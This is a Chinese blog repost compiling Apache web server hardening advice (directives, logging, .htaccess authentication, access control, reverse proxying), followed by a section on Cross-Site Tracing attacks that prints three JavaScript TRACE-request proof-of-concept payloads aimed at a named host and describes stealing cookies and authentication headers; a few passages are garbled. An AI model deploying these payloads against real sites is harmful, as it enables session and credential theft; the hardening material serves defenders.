保护Apache的安全

原贴:http://blog.chinaunix.net/u/13329/showart.php?id=84744

保护Apache的安全


 
保护Apache的安全
 
 
1. FollowSymLinks
该指令被默认启用,在创建到万维网服务器的文档根的符号链接时请小心。例如,提供一个到 / 的符号链接就不是个好主意。

2. Indexes 指令
该指令被默认启用,但它可能不应该被启用。要阻止访问者浏览服务器上的文件,你可以删除该指令。

3. UserDir 指令
UserDir 指令被默认禁用,因为它可以确认某个用户帐号在系统上是否存在。要启用服务器上的用户目录浏览,请使用以下指令:

UserDir enabled
UserDir disabled root


这些指令为除了 /root/ 以外的所有用户目录激活浏览。要把用户添加到禁用帐号列表中,在 UserDir disabled 行中添加一个用空格隔开的用户列表。

4. 不要删除 IncludesNoExec 指令
按照默认设置,服务器端包括(server-side includes)模块不能执行命令。除非在极端必要的情况下,建议你不要改变这个设置,因为它有可能会使攻击者能够在系统上执行命令。

5. 限制对可执行目录的权限
对于任何包含脚本或 CGI 的目录,请确定只给根用户以写权限。这可以通过键入以下命令来达到:

chown root <directory_name>
chmod 755 <directory_name>

==================================================================


文摘内容:
--------------------------------------------------------------------------------
Author:Phoenix
Homepage:http://www.safechina.net/
E-mail:Phoenix@safechina.net

前 言:在目前的Internet时代,主页已成为树立公司形象和展示自我天地的一个重要手段,配置一台强大且安全的Web Server就显得尤其重要。在众多的Web Server产品中,Apache是应用最为广泛的一个产品,同时也是一个设计上非常安全的程序。但是,同其它应用程序一样,Apache也存在安全缺 陷。本文将详细介绍如何正确配置和维护Apache WEB Server的安全性问题等。

一,Apache服务器的介绍

  Apache 服务器它是Internet网上应用最为广泛的Web服务器软件之一。Apache服务器源自美国国家超级技术计算应用中心(NCSA)的Web服务器项 目中。目前已在互联网中占据了领导地位。Apache服务器得经过精心配置之后,才能使它适应高负荷,大吞吐量的互联网工作。快速、可靠、通过简单的 API扩展,Perl/Python解释器可被编译到服务器中,且完全免费,完全源代码开放。如果你需要创建一个每天有数百万人访问的 Web服务器,Apache可能是最佳选择。

二,Apache服务器的主要安全缺陷

  正如我们前言所说尽管 Apache服务器应用最为广泛,设计上非常安全的程序。但是同其它应用程序一样,Apache也存在安全缺陷。毕竟它是完全源代码,Apache服务器 的安全缺陷主要是使用HTTP协议进行的拒绝服务攻击(denial of service)、缓冲区溢出攻击以及被攻击者获得root权限三缺陷和最新的恶意的攻击者进行“拒绝服务”(DoS)攻击。合理的网络配置能够保护 Apache服务器免遭多种攻击。我们来介绍一下主要的安全缺陷:

(1)使用HTTP协议进行的拒绝服务攻击(denial of service)的安全缺陷

这种方法攻击者会通过某些手段使服务器拒绝对HTTP应答。这样会使Apache对系统资源(CPU时间和内存)需求的剧增,最终造成Apache系统变慢甚至完全瘫痪。

(2)缓冲区溢出的安全缺陷

该方法攻击者利用程序编写的一些缺陷,使程序偏离正常的流程。程序使用静态分配的内存保存请求数据,攻击者就可以发送一个超长请求使缓冲区溢出。比如一些Perl编写的处理用户请求的网关脚本。一旦缓冲区溢出,攻击者可以执行其恶意指令或者使系统宕机。

(3)被攻击者获得root权限的安全缺陷

该安全缺陷主要是因为Apache服务器一般以root权限运行(父进程),攻击者会通过它获得root权限,进而控制整个Apache系统。

(4)恶意的攻击者进行“拒绝服务”(DoS)攻击的安全缺陷
这 个最新在6月17日发现的漏洞,它主要是存在于Apache的chunk encoding中,这是一个HTTP协议定义的用于接受web用户所提交数据的功能。 利用黑客程序可以对于运行在FreeBSD 4.5, OpenBSD 3.0 / 3.1, NetBSD 1.5.2平台上的Apache服务器均可进行有效的攻击.

所有说使用最高和最新安全版本对于加强Apache Web服务器的安全是至关重要的。请广大Apache服务器管理员去http://www.apache.org/dist/httpd/下...WEB服务器安全!

三, 正确维护和配置Apache服务器

  虽然Apache服务器的开发者非常注重安全性,由于Apache服务器其庞大的项目,难免会存在安全隐患。正确维护和配置Apache WEB服务器就很重要了。我们应注意的一些问题:

(1)Apache服务器配置文件
  Apache Web服务器主要有三个配置文件,位于/usr/local/apache/conf目录下。这三个文件是:
httpd.con----->主配置文件
srm.conf------>填加资源文件
access.conf--->设置文件的访问权限
注:具体配置可以参考:http://httpd.apache.org/docs/mod/core.html

(2)Apache服务器的日志文件
   我们可以使用日志格式指令来控制日志文件的信息。使用LogFormat "%a %l"指令,可以把发出HTTP请求浏览器的IP地址和主机名记录到日志文件。出于安全的考虑,在日志中我们应知道至少应该那些验证失败的WEB用户,在 http.conf文件中加入LogFormat "%401u"指令可以实现这个目的。这个指令还有其它的许多参数,用户可以参考Apache的文档。另外,Apache的错误日志文件对于系统管理员来 说也是非常重要的,错误日志文件中包括服务器的启动、停止以及CGI执行失败等信息。更多请参看Apache日志系列1-5。

(3)Apache服务器的目录安全认证
  在Apache Server中是允许使用 .htaccess做目录安全保护的,欲读取这保护的目录需要先键入正确用户帐号与密码。这样可做为专门管理网页存放的目录或做为会员区等。   
在保护的目录放置一个档案,档名为.htaccss     
AuthName "会员专区"   
AuthType "Basic"   
AuthUserFile "/var/tmp/xxx.pw" ----->把password放在网站外   
require valid-user   

到apache/bin目录,建password档

% ./htpasswd -c /var/tmp/xxx.pw username1    ----->第一次建档要用参数"-c"   

% ./htpasswd /var/tmp/xxx.pw username2   
这样就可以保护目录内的内容,进入要用合法的用户.
注:采用了Apache内附的模组。也可以采用在httpd.conf中加入: 
options indexes followsymlinks 
allowoverride authconfig 
order allow,deny 
allow from all 

(4)Apache服务器访问控制
  我们就要看三个配置文件中的第三个文件了,即access.conf文件,它包含一些指令控制允许什么用户访问Apache目录。应该把deny from all设为初始化指令,再使用allow from指令打开访问权限。
<directory /usr/local/http/docs/private>
<limit>
order deny,allow
deny from all
allow from safechina.net
</limit>
</directory>
设置允许来自某个域、IP地址或者IP段的访问。

(5)Apache服务器的密码保护问题
  我们再使用.htaccess文件把某个目录的访问权限赋予某个用户。系统管理员需要在httpd.conf或者srm.conf文件中使用AccessFileName指令打开目录的访问控制。如:
AuthName PrivateFiles
AuthType Basic
AuthUserFile /path/to/httpd/users
require Phoenix

# htpasswd -c /path/to/httpd/users Phoenix

四,设置Apache服务器的WEB和文件服务器

  我们在Apache服务器上存放WEB服务器的文件,供用户访问,并设置/home/ftp/pub目录为文件存放区域,用http://download.your.com/pub/来访问。在防火墙上设置apache反向代理技术,由防火墙代理访问。 
 
(1)Apache服务器的设置 
  apache服务器采用默认配置。主目录为/home/httpd/html,主机域名为Phoenix.your.com,且别名到http://www.your.com/中, 并且设置sr...鹈ㄒ迦缦拢骸?
Alias /pub /home/ftp/pub/ 

更改默认应用程序类型定义如下: 
DefaultType application/octet-stream 

最后在/etc/httpd/conf/access.conf中增加一项定义 

Options Indexes 
AllowOverride AuthConfig 
order allow,deny 
allow from all 

注: Options Indexes允许在找不到index.html文件的情况下允许列出目录/文件列表。AllowOverride  AuthConfig允许做基本的用户名和口令验证。这样的话,需要在/home/ftp/pub目录下放入.htaccess,内容如下: 

[root@shopu pub]# more .htaccess 
AuthName Branch Office Public Software Download Area 
AuthType Basic 
AuthUserFile /etc/.usrpasswd 
require valid-user 

用# htpasswd -c /etc/.usrpasswd user1  分别创建不同的允许访问/pub下文件服务的外部用户名和口令。 

(2)在防火墙上配置反向代理技术. 
  在/etc/httpd/conf/httpd.conf  中加入 NameVirtualHost xxx.xxx.xxx.xxx 
# xxx.xxx.xxx.xxx     ----->是防火墙外部在互联网上永久IP地址 
servername http://www.your.com/ 
errorlog /var/log/httpd/error_log 
transferlog /var/log/httpd/access_log 
rewriteengine on 
proxyrequests off 
usecanonicalname off 
rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1 Apache服务器的IP地址。



servername http://download.your.com/pub/
errorlog /var/log/httpd/download/error_log 
transferlog /var/log/httpd/download/access_log 
rewriteengine on 
proxyrequests off 
usecanonicalname off 
rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1 同上Apache服务器的IP地址。

  设置防火墙上的DNS,让download.your.com和http://www.your.com/都指向防火墙的外部网地址xxx.xxx.xxx.xxx。用http://www.your.com/访问主页,用htt...参募南略厍?

注:还需要在apache服务器主机上建立目录/var/log/httpd/download/,否则会出错。另外,也可以设置防火墙主机上的/home/httpd/html/index.html的属性为750来阻止访问,这是防外部用户能访问到防火墙上的Apache服务器的http://www.your.com/中。 

总结:Apache Server是一个非常优秀,非常棒的服务器,只要你正确配置和维护好Apache服务器,你就会感受到Apache Server 所带来的好处,同样希望你能够通过阅读本文达到理论和实践双丰收的目的。谢谢。

===========================================================
5.5. 保护 Apache HTTP 服务器的安全

Apache HTTP 服务器是红帽企业 Linux 包括的最稳定和最安全的服务之一。保护 Apache HTTP 服务器安全的方法和技术多得数不胜数 — 在这里我们无法逐一详述。

在配置 Apache HTTP 服务器时阅读它的文档是很重要的。这些文档包括: 《红帽企业 Linux 参考指南》的“ Apache HTTP 服务器”这一章; 《红帽企业 Linux 系统管理指南》的“ Apache HTTP 服务器 配置”这一章;以及在 http://www.redhat.com/docs/manuals/stronghold/ 上的原有手册。

以下是管理员应该小心使用的配置选项列表。


·修改/etc/httpd/conf.d/welcome.conf,并注释掉所有默认内容
[root@192 conf.d]# cat  welcome.conf
#
# This configuration file enables the default "Welcome"
# page if there is no default index page present for
# the root URL.  To disable the Welcome page, comment
# out all the lines below.
#
#<LocationMatch "^/+$">
#    Options -Indexes
#    ErrorDocument 403   /error/noindex.html
#</LocationMatch>


·FollowSymLinks

该指令被默认启用,在创建到万维网服务器的文档根的符号链接时请小心。例如,提供一个到 / 的符号链接就不是个好主意。


· Indexes 指令

该指令被默认启用,但它可能不应该被启用。要阻止访问者浏览服务器上的文件,你可以删除该指令。


·UserDir 指令

UserDir 指令被默认禁用,因为它可以确认某个用户帐号在系统上是否存在。
要启用服务器上的用户目录浏览,请使用以下指令:

UserDir enabled UserDir disabled root这些指令为除了 /root/ 以外的所有用户目录激活浏览。
要把用户添加到禁用帐号列表中,在 UserDir disabled 行中添加一个用空格隔开的用户列表。


·不要删除 IncludesNoExec 指令

按照默认设置,服务器端包括(server-side includes)模块不能执行命令。除非在极端必要的情况下,建议你不要改变这个设置,因为它有可能会使攻击者能够在系统上执行命令。


· 限制对可执行目录的权限

对于任何包含脚本或 CGI 的目录,请确定只给根用户以写权限。这可以通过键入以下命令来达到:

chown root <directory_name>
chmod 755 <directory_name>

还有,总是在把脚本放入生产环境 之前校验它们在系统上的运行情况符合你的设想。


·报错提示文档
<Directory "/var/www/html">
    Options  FollowSymLinks   #去掉了Options Index FollowSymLinks中的 Index

    ErrorDocument 400 "BAD_REQUEST"
    ErrorDocument 401 "UNAUTHORIZED"
    ErrorDocument 403 "FORBIDDEN"
    ErrorDocument 404 "NOT_FOUND"
    ErrorDocument 405 "METHOD_NOT_ALLOWED"
    ErrorDocument 408 "REQUEST_TIME_OUT"
    ErrorDocument 410 "GONE"
    ErrorDocument 411 "LENGTH_REQUIRED"
    ErrorDocument 412 "PRECONDITION_FAILED"
    ErrorDocument 413 "REQUEST_ENTITY_TOO_LARGE"
    ErrorDocument 414 "REQUEST_URI_TOO_LARGE"
    ErrorDocument 415 "UNSUPPORTED_MEDIA_TYPE"
    ErrorDocument 500 "INTERNAL_SERVER_ERROR"
    ErrorDocument 501 "NOT_IMPLEMENTED"
    ErrorDocument 502 "BAD_GATEWAY"
    ErrorDocument 503 "SERVICE_UNAVAILABLE"
    ErrorDocument 506 "VARIANT_ALSO_VARIES"
</Directory>


 
 
=================================================================
跨域漏洞
出处: 黑客防线

  XST攻击描述:

  攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验 证以及ntlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。

  XST攻击条件:

  1、需要目标web服务器允许Trace参数;
  2、需要一个用来插入XST代码的地方;
  3、目标站点存在跨域漏洞。

  XST与XSS的比较:

  相同点:都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。

  优点:可以绕过一般的http验证以及NTLM验证

  如何利用:

手法1:

<SCRIPT type=text/java script>
<!--
function xssTRACE(){
var xmlHttp=new ActiveXObject(/"Microsoft&#46;XMLHTTP/");
xmlHttp&#46;open(/"TRACE/",/"[url]http://wmjie&#46;51&#46;net/swords/[/url]/",false);
xmlHttp&#46;send();
xmlDoc=xmlHttp&#46;responseText;
alert(xmlDoc);
}

//-->
</SCRIPT>
<BR><INPUT οnclick=xssTRACE(); type=button value=/"XSS TRACE/">
手法2:

<SCRIPT type=text/java script>
<!--
function xssTRACE() {
var openWin=open(/"blank&#46;htm/",/"swords/",/"width=500,height=400/");
var otraceswords=openWin&#46;external;
openWin&#46;location&#46;href=/"[url]http://wmjie&#46;51&#46;net/swords/[/url]/";
setTimeout(
function () {
//以下必须写在一行
otraceswords&#46;NavigateAndFind('java script:xmlHttp=new ActiveXObject(/"Microsoft&#46;XMLHTTP/");xmlHttp&#46;open(/"TRACE /",/"[url]http://wmjie&#46;51&#46;net/swords/[/url]/",false);xmlHttp& #46;send();xmlDoc=xmlHttp&#46;responseText;alert(/"不用document& #46;cookie 显示站点wmjie&#46;51&#46;net/swords/ 的头信息。//n/" + xmlDoc);',/"/",/"/");
},
1024
);
}
//-->
</SCRIPT>
<BR><INPUT οnclick=xssTRACE(); type=button value=/"XSS TRACE/">
手法3:

<SCRIPT type=text/java script>
function xssTRACE(){
var swords = /"var xmlHttp = new ActiveXObject(//"Microsoft.XMLHTTP//")/;xmlHttp.open(//"TRACE//",//"[url]http://http://www.tingh.com/[/url]//",false)/;xmlHttp.send()/;xmlDoc=xmlHttp.responseText/;alert(xmlDoc)/;/";
var target = /"[url]http://wmjie.51.net/swords/[/url]/";
spinach = encodeURIComponent(swords + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent(/"' + spinach + '/")))';
showModalDialog(target, null, readyCode);
}
</SCRIPT>
<BR><INPUT οnclick=xssTRACE() type=button value=/"XSS TRACE/">

  后记:研究阶段,希望能抛砖引玉,期望和您能够交流心得体会。

创建于: 2006-03-13 19:47:11,修改于: 2006-04-13 15:05:29,已浏览152次,有评论0条
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值